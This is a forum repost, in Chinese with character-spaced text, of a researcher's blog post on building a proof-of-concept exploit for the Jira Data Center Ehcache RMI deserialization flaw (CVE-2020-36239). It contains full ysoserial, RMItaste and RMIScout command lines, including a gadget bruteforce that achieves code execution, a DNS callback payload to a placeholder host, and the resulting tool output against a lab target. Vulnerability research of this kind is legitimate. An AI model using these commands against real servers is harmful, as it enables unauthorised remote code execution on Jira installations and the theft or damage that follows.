搜索

[29114] 2021-08-10_【漏洞利用】为Jira数据中心EhcacheRCE开发漏洞利用(CVE-2020-36239)

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-19
2021-08-10_【漏洞利用】为Jira数据中心EhcacheRCE开发漏洞利用(CVE-2020-36239) 【 漏 洞 利 用 】 为   J i r a   数 据 中 心   E h c a c h e   R C E   开 发 漏 洞 利 用   ( C V E - 2 0 2 0 - 3 6 2 3 9 ) O t s 安 全   2 0 2 1 - 0 8 - 1 0 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍 概 述 概 述 上 周 五 ， 我 在   J i r a   数 据 中 心   ( C V E - 2 0 2 0 - 3 6 2 3 9 )   中 看 到 了 针 对 关 键   R C E 的 A t l a s s i a n   安 全 公 告 ， 因 此 我 决 定 尝 试 为 其 开 发 概 念 验 证 漏 洞 利 用 。 这 最 终 花 了 我 大 约   5   个 小 时 。 这 篇 简 短 的 博 客 文 章 详 细 介 绍 了 我 创 建   P O C   的 过 程 。 我 还 包 括 了 我 犯 的 一 些 错 误 和 死 胡 同 ， 这 些 在   P O C   文 章 中 经 常 遗 漏 。 这 是 为 修 补 的 漏 洞 创 建   P O C   的 一 个 很 好 的 练 习 ， 因 为 我 能 够 在 不 区 分 补 丁 的 情 况 下 做 到 这 一 点 。 我 学 到 了 更 多 关 于 利 用   R M I   的 知 识 ， 以 及   J E P   2 9 0   中 的 变 化 。 调 查 错 误 建 议 调 查 错 误 建 议 阅 读 公 告 的 详 细 信 息 ， 很 明 显 该 漏 洞 仅 影 响 数 据 中 心 ， 而 不 是 独 立 服 务 器 模 式 。 它 影 响 了 一 个 名 为   E h c a c h e   的 组 件 ， 它 似 乎 是 一 个 基 于   J a v a   的 缓 存 ， 它 以 某 种 方 式 支 持   R M I   进 行 通 信 。 可 利 用 性 需 要 连 接 到 端 口   4 0 0 0 1   和 可 能 的 4 0 0 1 1 。 这 似 乎 是   E h c a c h e   正 在 侦 听 的 端 口 ， 如 果 它 正 在 侦 听 非 标 准 端 口 ， 它 也 可 能 容 易 受 到 攻 击 。 该 咨 询 包 含 大 量 有 用 的 详 细 信 息 ， 例 如 ： E h c a c h e   R M I   网 络 服 务 暴 露 网 络 服 务 暴 露 由 于 缺 少 身 份 验 证 漏 洞 ， 通 过 反 序 列 化 执 行 任 意 代 码 刺 激 我 认 为 这 将 是 一 个 足 够 简 单 的 漏 洞 利 用 ， 在 使 用   Y s o s e r i a l   的   R M I R e g i s t r y E x p l o i t   添 加 之 前 弹 出   R M I   接 口 。 设 置 适 当 的   J i r a   版 本 （ v 8 . 1 6 . 2 ， 在   W i n d o w s   1 0   上 使 用   J D K   1 . 8 . 0 _ 2 7 5 ） 后 ， 我 发 现   y s o s e r i a l   有 效 负 载 都 不 起 作 用 。 相 反 ， 他 们 返 回 了 一 个 错 误 ， 如 ： y s o s e r i a l   g i t t e r 上 的 一 篇 文 章 让 我 看 到 了 这 篇 非 常 有 帮 助 的 文 章 。 根 据 文 章 ， 在   J E P 2 9 0 （ 影 响 我 正 在 运 行 的   J D K   版 本 ） 之 后 ， J D K   为   R M I   注 册 表 和   D G C （ J R M P   使 用 ） 内 置 了 过 滤 器 。 这 些 过 滤 器 只 允 许 反 序 列 化 特 定 的 类 。 所 以 这 就 解 释 了 为 什 么 没 有 一 个 常 规 的   Y s o s e r i a l   小 工 具 可 以 通 过   R M I R e g i s t r y   漏 洞 利 用 。 继 续 阅 读 ， 我 发 现 仍 然 可 以 使 用 绕 过   g a d g e t 或 通 过 将 任 意 对 象 传 递 给   R M I   服 务 器 来 利 用 反 序 列 化 问 题 ， 只 要 存 在 接 受 非 原 始 类 型 的 方 法 。 我 想 我 会 尝 试 任 意 对 象 方 法 ， 如 果 我 不 能 让 它 工 作 ， 稍 后 再 回 到 旁 路 小 工 具 。 通 过 更 多 的 谷 歌 搜 索 ， 我 发 现 了 两 个 工 具 ， R M I S c o u t 和 R M I t a s t e ， 它 们 有 助 于 利 用 这 些 问 题 。 我 首 先 尝 试 了   R M I s c o u t ， 它 返 回 了 一 个 错 误 这 是 一 条 有 趣 的 错 误 消 息 ， 我 最 初 并 不 清 楚 出 了 什 么 问 题 。 这 C l a s s N o t F o u n d E x c e p t i o n 应 该 是 当 时 的 暗 示 … … 我 想 我 会 回 到 这 个 问 题 ， 并 尝 试 其 他   R M I t a s t e   工 具 。 使 用 该 e n u m 技 术 导 致 它 连 接 到 远 程 存 储 库 并 挂 起 。 我 找 到 了 一 个 日 志 文 件 ， 里 面 写 满 了 ： 消 息 来 源 指 出 ， 当 它 尝 试 从 流 中 读 取 字 节 而 不 再 存 在 字 节 时 ， 就 会 发 生 这 种 情 况 。 它 来 自 p a r s e C l a s s A n n o t a t i o n 方 法 ， 所 以 当   g e t B y t e ( )   方 法 返 回   - 1   时 ， 我 在 那 里 添 加 了 一 个 快 速 的 h a c k y 补 丁 来 打 破 循 环 。 到 达 某 个 地 方 到 达 某 个 地 方 在 重 新 打 包 并 重 新 运 行 后 ， 该 工 具 转 储 了 大 量 远 程 对 象 及 其 扩 展 的 类 。 这 个 输 出 不 包 含 方 法 ， 但 它 要 求 一 个 对 象 接 口 ： $   j a v a   - c p   y s o s e r i a l - m a s t e r - S N A P S H O T . j a r   y s o s e r i a l . e x p l o i t . R M I R e g i s t r y E x p l o i t   1 9 2 . 1 6 8 . 2 0 0 . 1 3 6   4 0 0 0 1   C o m m o n s C o l l e c t i o n s 1   " n o t e p a d . e x e " j a v a . r m i . S e r v e r E x c e p t i o n :   R e m o t e E x c e p t i o n   o c c u r r e d   i n   s e r v e r   t h r e a d ;   n e s t e d   e x c e p t i o n   i s :       j a v a . r m i . A c c e s s E x c e p t i o n :   R e g i s t r y . b i n d   d i s a l l o w e d ;   o r i g i n   / 1 9 2 . 1 6 8 . 2 0 0 . 1 2 8   i s   n o n - l o c a l   h o s t . . . . / r m i s c o u t . s h   w o r d l i s t   - i   l i s t s / p r o t o t y p e s . t x t   1 9 2 . 1 6 8 . 2 0 0 . 1 3 6   4 0 0 0 1 [ I N F O ]   N o   r e g i s t r y   s p e c i f i e d .   A t t e m p t i n g   o p e r a t i o n   o n   a l l   a v a i l a b l e   r e g i s t r i e s . . . [ E R R O R ]   e r r o r   u n m a r s h a l l i n g   r e t u r n ;   n e s t e d   e x c e p t i o n   i s :       j a v a . l a n g . C l a s s N o t F o u n d E x c e p t i o n :   n e t . s f . e h c a c h e . d i s t r i b u t i o n . C o n f i g u r a b l e R M I C l i e n t S o c k e t F a c t o r y   ( n o   s e c u r i t y   m a n a g e r :   R M I   c l a s s   l o a d e r   d i s a b l e d 2 8 / 0 7 / 2 0 2 1   1 1 : 1 3 : 3 1 . 9 8 0   -   [ m 0 . r m i t a s t e . r m i . s e r i a l i z a t i o n . R m i O b j e c t P a r s e r . g e t B y t e ]   -   [ S E V E R E ]   -   N o   m o r e   b y t e s   t o   r e a d .   L i m i t   h a s   b e e n   r e a c h e d ! @ @   - 2 3 3 , 6   + 2 3 3 , 9   @ @                           e l s e   i f ( b   = =   T C _ S T R I N G ) {                                   t h i s . g e t U t f S h o r t ( ) ;                           } +             e l s e   i f ( b   = =   - 1 ) { +         b r e a k ; +         }                   }           } $   j a v a   - c p   " . : l i b s _ a t t a c k / * : t a r g e t / r m i t a s t e - 1 . 0 - S N A P S H O T - a l l . j a r "   m 0 . r m i t a s t e . R m i T a s t e   e n u m   - t   1 9 2 . 1 6 8 . 2 0 0 . 1 3 6   - p   4 0 0 0 1 C o n n e c t e d   t o   R M I   r e g i s t r y   o n   1 9 2 . 1 6 8 . 2 0 0 . 1 3 6 : 4 0 0 0 1 c o m . a t l a s s i a n . g a d g e t s . r e n d e r e r . i n t e r n a l . c a c h e . p a r s e d D o c u m e n t s   [ o b j e c t ]   [ n u l l ]         e x t e n d s   n e t . s f . e h c a c h e . d i s t r i b u t i o n . R M I C a c h e P e e r _ S t u b   [ c l a s s ] N o   m e t h o d s   f o u n d .   I   d o n ' t   h a v e   r e m o t e   o b j e c t   i n t e r f a c e .   G i v e   i t   t o   m e !
示 例 表 明 这 缺 少 目 标 库 。 我 从 安 装 （ “ e h c a c h e - 2 . 1 0 . 2 - a t l a s s i a n - 1 8 . j a r ” ） 中 获 取 了 适 当 的 库 到   R m i t a s t e   l i b s _ a t t a c k   目 录 中 ， 并 重 新 运 行 枚 举 ， 它 转 储 出 包 含 所 有 对 象 方 法 及 其 接 受 的 相 同 列 表 类 型 包 括 在 内 。 一 个 相 当 有 希 望 的 消 息 “ 可 能 容 易 受 到   J a v a   反 序 列 化 的 影 响 ！ ”   出 现 。 根 据 m o g w a i l a b s   博 客 文 章 ， 您 可 以 看 到 这 些 接 受 非 原 始 类 型 ， 例 如   n e t . s f . e h c a c h e . E l e m e n t ， 它 们 应 该 是 可 利 用 的 。 然 后 我 运 行   R M I T a s t e   工 具 ， 使 用 a t t a c k 命 令 指 定 使 用   U R L D N S   负 载 的 发 现 的 对 象 和 方 法 之 一 ， 它 只 是 执 行   D N S   查 找 并 且 在 类 路 径 上 没 有 任 何 易 受 攻 击 的   J A R   的 情 况 下 工 作 。 输 出 看 起 来 有 效 ， 但 是 没 有 发 生   D N S   查 找 并 且 日 志 文 件 显 示 警 告 ： 这 似 乎 很 重 要 ， 再 次 挖 掘 源 代 码 我 发 现 它 已 经 确 定 R M I C a c h e P e e r _ S t u b 是 一 个 动 态 存 根 ， 因 此 试 图 将 其 转 换 为 代 理 。 我 尝 试 将 方 法 更 改 为 调 用 i n v o k e s t a t i c s t u b ， 并 重 新 尝 试   D N S   查 找 。 寻 找 合 适 的 小 工 具 寻 找 合 适 的 小 工 具 这 确 实 执 行 了   D N S   查 找 ， 所 以 我 知 道 我 走 在 正 确 的 道 路 上 。 接 下 来 ， 我 尝 试 使 用   y s o s e r i a l   g a d g e t   对 接 口 进 行 暴 力 破 解 ， 以 找 到 允 许 代 码 执 行 的 接 口 ， R M I t a s t e   使 用 “ - g e n   b r u t e f o r c e ” 参 数 支 持 该 接 口 。 虽 然 它 确 实 返 回 了 相 当 有 希 望 的 消 息 R e m o t e   m e t h o d   h a s   b e e n   i n v o k e d   w i t h   p a y l o a d :   S p r i n g 2   n o t e p a d . e x e ， 但 不 幸 的 是 没 有   n o t e p a d . e x e   即 将 到 来 。 我 开 始 怀 疑 这 个 漏 洞 是 否 需 要 一 个 自 定 义 的   J a v a   反 序 列 化 小 工 具 ， 这 可 能 很 难 找 到 和 利 用 。 在 开 始 这 条 路 线 之 前 ， 我 更 仔 细 地 阅 读 了 该 工 具 的 输 出 ， 并 注 意 到 它 没 有 包 括 所 有 的   y s o s e r i a l   小 工 具 ！ 这 是 因 为 暴 力 破 解 的 小 工 具 列 表 是 硬 编 码 在   R M I t a s t e   源 中 ， 而 不 是 从   y s o s e r i a l   j a r   中 动 态 发 现 的 。 稍 后 我 进 行 了 快 速 的   b a s h ， 我 尝 试 了   y s o s e r i a l   必 须 提 供 的 每 个 有 效 负 载 ， 结 果 生 成 了   n o t e p a d . e x e ！ 作 为 旁 注 ， c a l c . e x e   没 有 产 生 ， 即 使 有 一 个 有 效 的 漏 洞 利 用 。 我 认 为 这 是 因 为 它 现 在 是 一 个   U W P   应 用 程 序 ？ 结 果 证 明 这 是 因 为   C o m m o n s B e a n u t i l s 1   小 工 具 成 功 运 行 。 所 以 现 在 我 有 了 一 个 有 效 的   P O C ， 非 常 好 。 额 外 的 额 外 的 c o m . a t l a s s i a n . j i r a . l i c e n s e . J i r a L i c e n s e M a n a g e r . L i c e n s e . c a c h e   [ o b j e c t ]   [ n u l l ]   e x t e n d s   n e t . s f . e h c a c h e . d i s t r i b u t i o n . R M I C a c h e P e e r _ S t u b   [ c l a s s ] N o   m e t h o d s   f o u n d .   I   d o n ' t   h a v e   r e m o t e   o b j e c t   i n t e r f a c e .   G i v e   i t   t o   m e ! c o m . a t l a s s i a n . j i r a . p l u g i n s . h e a l t h c h e c k . s e r v i c e . H e a r t B e a t S e r v i c e . h e a r t b e a t   [ o b j e c t ]   [ n u l l ]   e x t e n d s   n e t . s f . e h c a c h e . d i s t r i b u t i o n . R M I C a c h e P e e r _ S t u b   [ c l a s s ] N o   m e t h o d s   f o u n d .   I   d o n ' t   h a v e   r e m o t e   o b j e c t   i n t e r f a c e .   G i v e   i t   t o   m e ! . . . $   j a v a   - c p   " . : l i b s _ a t t a c k / * : t a r g e t / r m i t a s t e - 1 . 0 - S N A P S H O T - a l l . j a r "   m 0 . r m i t a s t e . R m i T a s t e   e n u m   - t   1 9 2 . 1 6 8 . 2 0 0 . 1 3 6   - p   4 0 0 0 1 C o n n e c t e d   t o   R M I   r e g i s t r y   o n   1 9 2 . 1 6 8 . 2 0 0 . 1 3 6 : 4 0 0 0 1 . . c o m . a t l a s s i a n . g a d g e t s . r e n d e r e r . i n t e r n a l . c a c h e . p a r s e d D o c u m e n t s   [ o b j e c t ]   [ n u l l ]         e x t e n d s   n e t . s f . e h c a c h e . d i s t r i b u t i o n . R M I C a c h e P e e r _ S t u b   [ c l a s s ]         g e t G u i d ( ) ;   [ m e t h o d ]         g e t U r l ( ) ;   [ m e t h o d ]         g e t Q u i e t ( j a v a . i o . S e r i a l i z a b l e   p a r a m 0 ) ;   [ m e t h o d ]             P a r a m e t e r s :   p a r a m 0 ;     m a y   b e   v u l n e r a b l e   t o   J a v a   D e s e r i a l i z a t i o n !   [ i n f o ]         r e m o v e A l l ( ) ;   [ m e t h o d ]         c l a s s $ ( j a v a . l a n g . S t r i n g   p a r a m 0 ) ;   [ m e t h o d ]             P a r a m e t e r s :   p a r a m 0 ;     m a y   b e   v u l n e r a b l e   t o   J a v a   D e s e r i a l i z a t i o n !   [ i n f o ]         g e t N a m e ( ) ;   [ m e t h o d ]         g e t E l e m e n t s ( j a v a . u t i l . L i s t   p a r a m 0 ) ;   [ m e t h o d ]             P a r a m e t e r s :   p a r a m 0 ;     m a y   b e   v u l n e r a b l e   t o   J a v a   D e s e r i a l i z a t i o n !   [ i n f o ]         g e t U r l B a s e ( ) ;   [ m e t h o d ]         g e t K e y s ( ) ;   [ m e t h o d ]         s e n d ( j a v a . u t i l . L i s t   p a r a m 0 ) ;   [ m e t h o d ]             P a r a m e t e r s :   p a r a m 0 ;     m a y   b e   v u l n e r a b l e   t o   J a v a   D e s e r i a l i z a t i o n !   [ i n f o ]         r e m o v e ( j a v a . i o . S e r i a l i z a b l e   p a r a m 0 ) ;   [ m e t h o d ]             P a r a m e t e r s :   p a r a m 0 ;     m a y   b e   v u l n e r a b l e   t o   J a v a   D e s e r i a l i z a t i o n !   [ i n f o ]         p u t ( n e t . s f . e h c a c h e . E l e m e n t   p a r a m 0 ) ;   [ m e t h o d ]             P a r a m e t e r s :   p a r a m 0 ;     m a y   b e   v u l n e r a b l e   t o   J a v a   D e s e r i a l i z a t i o n !   [ i n f o ] . . . . j a v a   - c p   " . : l i b s _ a t t a c k / * : t a r g e t / r m i t a s t e - 1 . 0 - S N A P S H O T - a l l . j a r "   m 0 . r m i t a s t e . R m i T a s t e   a t t a c k   - c   ' h t t p : / / < D N S H O S T > '   - g   U R L D N S   - m   " c o m . a t l a s s i a n . g a d g e t s . r e n d e r e r . i n t e r n a l . c a c h e . g a d g e t S p e c s : n e t . s f . e h c a c h e . d i s t r i b u t i o n . R M I C a c h e P e e r _ S t u b : g e t Q u i e t "     - t   1 9 2 . 1 6 8 . 2 0 0 . 1 3 6   - p   4 0 0 0 1 2 8 / 0 7 / 2 0 2 1   1 1 : 5 2 : 5 1 . 9 9 0   -   [ m 0 . r m i t a s t e . r m i . e x p l o i t . A t t a c k . i n v o k e M e t h o d ]   -   [ W A R N I N G ]   -   A n   e r r o r   o c c u r r e d   w h e n   c a l l i n g   g e t Q u i e t   o n   c o m . a t l a s s i a n . g a d g e t s . r e n d e r e r . i n t e r n a l . c a c h e . g a d g e t S p e c s .   j a v a . l a n g . C l a s s C a s t E x c e p t i o n :   n e t . s f . e h c a c h e . d i s t r i b u t i o n . R M I C a c h e P e e r _ S t u b   c a n n o t   b e   c a s t   t o   j a v a . l a n g . r e f l e c t . P r o x y j a v a   - c p   " . : l i b s _ a t t a c k / * : t a r g e t / r m i t a s t e - 1 . 0 - S N A P S H O T - a l l . j a r "   m 0 . r m i t a s t e . R m i T a s t e   a t t a c k   - c   ' n o t e p a d . e x e '   - g e n   b r u t e f o r c e   - m   " c o m . a t l a s s i a n . g a d g e t s . r e n d e r e r . i n t e r n a l . c a c h e . g a d g e t S p e c s : n e t . s f . e h c a c h e . d i s t r i b u t i o n . R M I C a c h e P e e r _ S t u b : g e t Q u i e t "     - t   1 9 2 . 1 6 8 . 2 0 0 . 1 3 6   - p   4 0 0 0 1
在 将   e h c a c h e   库 复 制 到   R M I s c o u t   类 路 径 并 正 确 调 用 它 之 后 ， 我 发 现 如 果 给 定 适 当 的 签 名 ， 它 也 可 以 愉 快 地 利 用 这 个 问 题 ： 它 会 抛 出 错 误 ， 但 漏 洞 利 用 确 实 有 效 。 根 据 我 对   R M I S c o u t   的 理 解 ， 它 应 该 能 够 枚 举 这 些 对 象 并 在 类 路 径 中 没 有 适 当 的 库 的 情 况 下 对 其 方 法 进 行 暴 力 破 解 ？ 我 不 明 白 为 什 么 这 不 起 作 用 ， 如 果 你 这 样 做 ， 请 告 诉 我 。 阅 读 原 文 $   j a v a   - c p   ' e h c a c h e - 2 . 1 0 . 2 - a t l a s s i a n - 1 8 . j a r : b u i l d / l i b s / r m i s c o u t - 1 . 4 - S N A P S H O T - a l l . j a r '   c o m . b i s h o p f o x . r m i s c o u t . R M I S c o u t   e x p l o i t   - s   ' n e t . s f . e h c a c h e . E l e m e n t   g e t Q u i e t ( j a v a . i o . S e r i a l i z a b l e   p a r a m 0 ) ' [ I N F O ]   A t t e m p t i n g   o p e r a t i o n   o n   t h e   " c o m . a t l a s s i a n . g a d g e t s . r e n d e r e r . i n t e r n a l . c a c h e . g a d g e t S p e c s "   r e g i s t r y . j a v a . l a n g . R u n t i m e E x c e p t i o n :   I n v o c a t i o n T a r g e t E x c e p t i o n :   j a v a . l a n g . r e f l e c t . I n v o c a t i o n T a r g e t E x c e p t i o n < . . e r r o r   s t a c k   t r a c e   s n i p . . > [ I N F O ]   R e - r u n n i n g   e x e c u t e   w i t h o u t   o v e r w r i t i n g   j a v a . l a n g . S t r i n g   t y p e s . j a v a . l a n g . R u n t i m e E x c e p t i o n :   I n v o c a t i o n T a r g e t E x c e p t i o n :   j a v a . l a n g . r e f l e c t . I n v o c a t i o n T a r g e t E x c e p t i o n < . . e r r o r   s t a c k   t r a c e   s n i p . . > [ E R R O R ]   P a y l o a d   w a s   n o t   i n v o k e d .   C h e c k   t h e   a c c u r a c y   o f   t h e   s i g n a t u r e .
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理